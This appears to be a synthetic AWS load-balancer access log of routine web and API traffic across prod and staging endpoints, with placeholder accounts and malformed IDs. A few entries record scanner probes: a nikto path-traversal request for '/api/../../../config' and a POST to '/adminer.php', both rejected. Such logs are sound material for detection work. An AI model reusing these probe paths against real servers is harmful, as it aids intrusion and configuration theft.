HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbaf-3ee683ed5ae048c3a77546d9" "staging-alb.example.com" "-" 0 2024-11-01T00:17:35.268035Z "forward" "-" "-" "176.243.248.77:8080" "302" "-" "-" -https 2024-11-01T00:17:36.604991Z prod-api-alb 250.179.104.201:35538 10.0.6.167:443 0.007453 0.489987 0.085027 301 301 672 14721 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbb0-0a4fdd6504634275bbaa2b3a" "prod-api-alb.example.com" "-" 10 2024-11-01T00:17:36.604991Z "forward" "-" "-" "10.0.6.167:443" "301" "-" "-" -https 2024-11-01T00:17:38.593042Z prod-web-alb 116.136.62.192:31238 10.0.45.115:443 0.094062 0.255252 0.037725 200 200 196 203 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbb2-90f9b4dab42a44a3be343e6a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:17:38.593042Z "forward" "-" "-" "10.0.45.115:443" "200" "-" "-" -https 2024-11-01T00:17:39.775511Z staging-alb 78.42.103.57:15807 141.64.193.13:8080 0.132534 0.150872 0.067785 200 200 410 11863 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbb3-0ca51f541e504fbfb0637e3e" "staging-alb.example.com" "-" 10 2024-11-01T00:17:39.775511Z "forward" "-" "-" "141.64.193.13:8080" "200" "-" "-" -https 2024-11-01T00:17:39.908339Z prod-web-alb 218.240.106.253:50635 10.0.54.243:443 0.063195 0.282621 0.058022 200 200 874 7571 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbb3-2e7fd403dd284ce49ef3e591" "prod-web-alb.example.com" "-" 7 2024-11-01T00:17:39.908339Z "forward" "-" "-" "10.0.54.243:443" "200" "-" "-" -https 2024-11-01T00:17:41.676812Z prod-web-alb 120.1.82.122:48461 10.0.39.165:443 0.011656 0.289872 0.060760 200 200 823 2594 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbb5-06643ebdadef4f2b8b1d1594" "prod-web-alb.example.com" "-" 7 2024-11-01T00:17:41.676812Z "forward" "-" "-" "10.0.39.165:443" "200" "-" "-" -https 2024-11-01T00:17:43.350189Z staging-alb 9.158.227.27:42517 245.235.45.11:443 0.067276 0.152006 0.029310 200 200 688 3958 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbb7-44381888c0e044089352f7f7" "staging-alb.example.com" "-" 3 2024-11-01T00:17:43.350189Z "forward" "-" "-" "245.235.45.11:443" "200" "-" "-" -https 2024-11-01T00:17:43.660062Z prod-api-alb 234.6.24.67:62791 10.0.225.254:443 0.012989 0.305082 0.046980 301 301 923 9507 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbb7-3acc1e99c31d4b2ab183a589" "prod-api-alb.example.com" "-" 8 2024-11-01T00:17:43.660062Z "forward" "-" "-" "10.0.225.254:443" "301" "-" "-" -https 2024-11-01T00:17:44.034715Z prod-web-alb 77.162.137.139:31490 10.0.137.107:443 0.050257 0.388743 0.049679 200 200 618 935 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbb8-1abfae3985a34dd18e480e75" "prod-web-alb.example.com" "-" 0 2024-11-01T00:17:44.034715Z "forward" "-" "-" "10.0.137.107:443" "200" "-" "-" -https 2024-11-01T00:17:44.678566Z prod-api-alb 50.147.228.30:32567 10.0.144.189:443 0.091690 0.089019 0.064656 200 200 116 10214 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbb8-b9315c35d4544961a49cb96d" "prod-api-alb.example.com" "-" 5 2024-11-01T00:17:44.678566Z "forward" "-" "-" "10.0.144.189:443" "200" "-" "-" -https 2024-11-01T00:17:44.837568Z prod-api-alb 47.209.28.135:49918 10.0.53.24:443 0.080202 0.122986 0.038187 301 301 808 6535 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbb8-924a806debbd4f959667df47" "prod-api-alb.example.com" "-" 6 2024-11-01T00:17:44.837568Z "forward" "-" "-" "10.0.53.24:443" "301" "-" "-" -https 2024-11-01T00:17:46.426196Z prod-api-alb 55.151.101.109:34979 10.0.226.178:443 0.020122 0.167103 0.091150 200 200 43 11518 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbba-a93169404d234af787f1af66" "prod-api-alb.example.com" "-" 3 2024-11-01T00:17:46.426196Z "forward" "-" "-" "10.0.226.178:443" "200" "-" "-" -https 2024-11-01T00:17:48.014940Z prod-api-alb 111.234.168.91:45494 10.0.222.100:443 0.082137 0.111309 0.096534 200 200 888 12933 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbbc-923321ce31bc4cb6a038f34d" "prod-api-alb.example.com" "-" 8 2024-11-01T00:17:48.014940Z "forward" "-" "-" "10.0.222.100:443" "200" "-" "-" -https 2024-11-01T00:17:48.182121Z staging-alb 224.217.216.122:56493 192.108.190.98:8080 0.103745 0.660556 0.103869 200 200 369 1933 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbbc-da5fbea42c4f4eb3b373af70" "staging-alb.example.com" "-" 7 2024-11-01T00:17:48.182121Z "forward" "-" "-" "192.108.190.98:8080" "200" "-" "-" -https 2024-11-01T00:17:48.560315Z staging-alb 222.143.251.125:51320 182.83.81.248:8080 0.073301 0.710568 0.013004 301 301 3 8789 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbbc-0159a406446a41d7ab6536aa" "staging-alb.example.com" "-" 0 2024-11-01T00:17:48.560315Z "forward" "-" "-" "182.83.81.248:8080" "301" "-" "-" -http 2024-11-01T00:17:48.833272Z staging-alb 118.145.132.239:23398 32.247.210.115:443 0.058781 0.212350 0.116714 200 200 239 12974 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbbc-cc9ca132ec24458bb8b60283" "staging-alb.example.com" "-" 2 2024-11-01T00:17:48.833272Z "forward" "-" "-" "32.247.210.115:443" "200" "-" "-" -https 2024-11-01T00:17:49.219658Z staging-alb 52.130.104.252:31341 243.152.244.252:443 0.142487 0.716272 0.020334 200 200 300 4742 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbbd-d5e7bbab99b948f0bb026e88" "staging-alb.example.com" "-" 4 2024-11-01T00:17:49.219658Z "forward" "-" "-" "243.152.244.252:443" "200" "-" "-" -https 2024-11-01T00:17:49.585217Z prod-web-alb 42.66.72.98:54394 10.0.16.38:443 0.040228 0.146565 0.093046 200 200 849 14519 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbbd-f108e5d301064fa3a98a3c80" "prod-web-alb.example.com" "-" 9 2024-11-01T00:17:49.585217Z "forward" "-" "-" "10.0.16.38:443" "200" "-" "-" -http 2024-11-01T00:17:49.741891Z staging-alb 130.149.175.210:47952 197.51.213.28:8080 0.001874 0.293362 0.060567 200 200 629 5654 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbbd-c07761ed5032477f94e549f7" "staging-alb.example.com" "-" 4 2024-11-01T00:17:49.741891Z "forward" "-" "-" "197.51.213.28:8080" "200" "-" "-" -https 2024-11-01T00:17:51.434171Z prod-web-alb 7.139.165.38:49727 10.0.100.190:443 0.020071 0.139793 0.097742 200 200 622 1619 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbbf-d34dd162433b47e984ddfe53" "prod-web-alb.example.com" "-" 5 2024-11-01T00:17:51.434171Z "forward" "-" "-" "10.0.100.190:443" "200" "-" "-" -https 2024-11-01T00:17:52.084559Z prod-api-alb 238.32.19.103:12671 10.0.224.95:443 0.087763 0.467503 0.019428 200 200 650 11308 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbc0-0fcf6fc84e1440aca7374580" "prod-api-alb.example.com" "-" 10 2024-11-01T00:17:52.084559Z "forward" "-" "-" "10.0.224.95:443" "200" "-" "-" -https 2024-11-01T00:17:52.371658Z prod-api-alb 129.116.162.28:50444 10.0.112.10:443 0.004439 0.452026 0.097059 301 301 740 2245 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbc0-2c68274c61204dc79fbc31fc" "prod-api-alb.example.com" "-" 4 2024-11-01T00:17:52.371658Z "forward" "-" "-" "10.0.112.10:443" "301" "-" "-" -https 2024-11-01T00:17:53.800976Z prod-web-alb 134.36.24.83:63656 10.0.88.156:443 0.016808 0.327384 0.029815 200 200 344 7155 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbc1-a2df2935a27b4a3d9dca6db9" "prod-web-alb.example.com" "-" 9 2024-11-01T00:17:53.800976Z "forward" "-" "-" "10.0.88.156:443" "200" "-" "-" -https 2024-11-01T00:17:55.063188Z prod-web-alb 58.205.67.47:59415 10.0.250.224:443 0.068087 0.426146 0.016883 404 404 734 13018 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbc3-c77f7f16545440a3a0cf1767" "prod-web-alb.example.com" "-" 10 2024-11-01T00:17:55.063188Z "forward" "-" "-" "10.0.250.224:443" "404" "-" "-" -https 2024-11-01T00:17:56.301689Z staging-alb 19.54.66.191:14595 49.246.170.66:443 0.031010 0.097753 0.052952 200 200 845 14714 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbc4-0cf4a64fffb445ba962cd4ed" "staging-alb.example.com" "-" 8 2024-11-01T00:17:56.301689Z "forward" "-" "-" "49.246.170.66:443" "200" "-" "-" -https 2024-11-01T00:17:56.489601Z prod-web-alb 184.163.170.87:42098 10.0.54.50:443 0.029101 0.329895 0.027089 301 301 555 4242 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbc4-0c47d2d5ca0443d6ac096f95" "prod-web-alb.example.com" "-" 2 2024-11-01T00:17:56.489601Z "forward" "-" "-" "10.0.54.50:443" "301" "-" "-" -https 2024-11-01T00:17:57.786732Z prod-web-alb 65.79.25.8:58426 10.0.21.85:443 0.047273 0.410886 0.057200 302 302 179 13200 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbc5-47df72ef27424c3a87f1eb9f" "prod-web-alb.example.com" "-" 1 2024-11-01T00:17:57.786732Z "forward" "-" "-" "10.0.21.85:443" "302" "-" "-" -https 2024-11-01T00:17:58.455289Z prod-api-alb 45.155.205.19:31361 10.0.66.253:443 0.018895 0.383434 0.041278 403 403 94 11045 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbc6-b653432809aa47ceb7e8e000" "-" "-" 8 2024-11-01T00:17:58.455289Z "forward" "-" "-" "10.0.66.253:443" "403" "-" "-" -https 2024-11-01T00:17:59.608978Z staging-alb 93.56.132.233:30003 171.51.149.141:8080 0.140015 0.373579 0.106051 301 301 135 6322 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbc7-571561b4e6e141d0bac5df0f" "staging-alb.example.com" "-" 10 2024-11-01T00:17:59.608978Z "forward" "-" "-" "171.51.149.141:8080" "301" "-" "-" -https 2024-11-01T00:18:01.406614Z prod-api-alb 189.164.226.25:31846 10.0.111.236:443 0.076328 0.474514 0.046186 200 200 931 2810 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbc9-7bf1f16e74bd4c8eb2f3ec90" "prod-api-alb.example.com" "-" 8 2024-11-01T00:18:01.406614Z "forward" "-" "-" "10.0.111.236:443" "200" "-" "-" -https 2024-11-01T00:18:02.331446Z prod-api-alb 14.231.188.164:54916 10.0.243.194:443 0.016876 0.137316 0.095903 301 301 452 13563 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbca-d38b994f138c4b479a90d557" "prod-api-alb.example.com" "-" 10 2024-11-01T00:18:02.331446Z "forward" "-" "-" "10.0.243.194:443" "301" "-" "-" -http 2024-11-01T00:18:04.221958Z staging-alb 28.46.116.146:20268 101.108.115.162:80 0.047846 0.491596 0.014052 301 301 216 5837 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbcc-b8dc871f0cbc4a89951a42ff" "staging-alb.example.com" "-" 2 2024-11-01T00:18:04.221958Z "forward" "-" "-" "101.108.115.162:80" "301" "-" "-" -http 2024-11-01T00:18:04.726344Z staging-alb 90.171.128.122:45853 49.56.60.250:443 0.039994 0.350629 0.012621 200 200 86 11115 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbcc-ea743125da8e4d318eab4f1a" "staging-alb.example.com" "-" 1 2024-11-01T00:18:04.726344Z "forward" "-" "-" "49.56.60.250:443" "200" "-" "-" -https 2024-11-01T00:18:05.291530Z prod-web-alb 140.29.163.90:49138 10.0.58.248:443 0.015400 0.356545 0.094670 200 200 953 5334 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbcd-89999b5c494b448baa7b3e76" "prod-web-alb.example.com" "-" 10 2024-11-01T00:18:05.291530Z "forward" "-" "-" "10.0.58.248:443" "200" "-" "-" -https 2024-11-01T00:18:06.882628Z prod-api-alb 121.95.235.132:33637 10.0.86.143:443 0.058963 0.496813 0.060916 404 404 552 12122 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbce-5f9b36042fc74d84afe42701" "prod-api-alb.example.com" "-" 9 2024-11-01T00:18:06.882628Z "forward" "-" "-" "10.0.86.143:443" "404" "-" "-" -https 2024-11-01T00:18:08.366432Z prod-web-alb 138.87.41.116:16122 10.0.203.129:443 0.026435 0.194553 0.024816 302 302 867 5074 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbd0-34b8ade8041546fc82d6f0a0" "prod-web-alb.example.com" "-" 8 2024-11-01T00:18:08.366432Z "forward" "-" "-" "10.0.203.129:443" "302" "-" "-" -https 2024-11-01T00:18:09.179359Z prod-web-alb 3.183.242.0:27964 10.0.155.117:443 0.066651 0.025504 0.098835 302 302 101 7355 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbd1-53adabd4da874e0da0b0b948" "prod-web-alb.example.com" "-" 3 2024-11-01T00:18:09.179359Z "forward" "-" "-" "10.0.155.117:443" "302" "-" "-" -https 2024-11-01T00:18:09.325382Z staging-alb 12.86.148.135:20777 144.208.36.89:80 0.127927 0.717964 0.047361 302 302 22 14901 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbd1-beda083b50eb4726a5b61bb9" "staging-alb.example.com" "-" 7 2024-11-01T00:18:09.325382Z "forward" "-" "-" "144.208.36.89:80" "302" "-" "-" -http 2024-11-01T00:18:11.197207Z staging-alb 45.155.205.142:27437 160.165.204.146:80 0.033582 0.199645 0.107411 403 403 217 622 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbd3-b05f0bd96aa44d8f9197eb6b" "-" "-" 8 2024-11-01T00:18:11.197207Z "forward" "-" "-" "160.165.204.146:80" "403" "-" "-" -https 2024-11-01T00:18:11.427380Z prod-api-alb 100.59.133.172:32095 10.0.35.15:443 0.043460 0.344752 0.092222 404 404 206 11595 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbd3-7518ffcbff4f467f8aab8955" "prod-api-alb.example.com" "-" 2 2024-11-01T00:18:11.427380Z "forward" "-" "-" "10.0.35.15:443" "404" "-" "-" -https 2024-11-01T00:18:13.012337Z staging-alb 137.93.185.4:62205 173.33.195.243:8080 0.090909 0.264057 0.010706 302 302 270 5196 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbd5-6ba12b29ada5470f979c6a1e" "staging-alb.example.com" "-" 5 2024-11-01T00:18:13.012337Z "forward" "-" "-" "173.33.195.243:8080" "302" "-" "-" -https 2024-11-01T00:18:14.122756Z prod-api-alb 240.175.55.148:49761 10.0.250.103:443 0.062346 0.158391 0.028959 301 301 466 4766 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbd6-bfc48d1ab730477e8cbb0e82" "prod-api-alb.example.com" "-" 7 2024-11-01T00:18:14.122756Z "forward" "-" "-" "10.0.250.103:443" "301" "-" "-" -https 2024-11-01T00:18:15.321685Z prod-web-alb 242.167.248.214:13692 10.0.42.228:443 0.059201 0.328751 0.091851 200 200 452 12904 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbd7-a0e9f8b883324601b69789b1" "prod-web-alb.example.com" "-" 9 2024-11-01T00:18:15.321685Z "forward" "-" "-" "10.0.42.228:443" "200" "-" "-" -https 2024-11-01T00:18:15.497987Z prod-web-alb 179.41.64.3:54964 10.0.166.143:443 0.068390 0.488302 0.025885 200 200 217 11028 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbd7-505fd1ef2dfb4d80958b71e5" "prod-web-alb.example.com" "-" 8 2024-11-01T00:18:15.497987Z "forward" "-" "-" "10.0.166.143:443" "200" "-" "-" -https 2024-11-01T00:18:16.767946Z prod-web-alb 12.199.106.191:17242 10.0.197.250:443 0.071498 0.093504 0.044527 200 200 120 6408 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbd8-508dff27f5c949a093fa1365" "prod-web-alb.example.com" "-" 9 2024-11-01T00:18:16.767946Z "forward" "-" "-" "10.0.197.250:443" "200" "-" "-" -https 2024-11-01T00:18:18.067369Z prod-api-alb 45.155.205.151:13798 10.0.232.16:443 0.078909 0.073507 0.081692 401 401 66 6063 "POST /adminer.php HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbda-83a9fdd25935462780cd1d44" "-" "-" 8 2024-11-01T00:18:18.067369Z "forward" "-" "-" "10.0.232.16:443" "401" "-" "-" -https 2024-11-01T00:18:19.180454Z prod-web-alb 79.73.229.237:27357 10.0.241.18:443 0.012450 0.287865 0.033071 404 404 86 2938 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbdb-8f23334b9f6a4bb986aaf88e" "prod-web-alb.example.com" "-" 5 2024-11-01T00:18:19.180454Z "forward" "-" "-" "10.0.241.18:443" "404" "-" "-" -https 2024-11-01T00:18:19.660629Z prod-api-alb 40.143.15.175:49023 10.0.164.180:443 0.014577 0.393575 0.074667 200 200 950 3002 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbdb-9875a4eb37d24cff804e6d97" "prod-api-alb.example.com" "-" 8 2024-11-01T00:18:19.660629Z "forward" "-" "-" "10.0.164.180:443" "200" "-" "-" -https 2024-11-01T00:18:21.520175Z prod-api-alb 70.13.245.112:23779 10.0.135.41:443 0.078685 0.192406 0.025488 301 301 196 9074 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 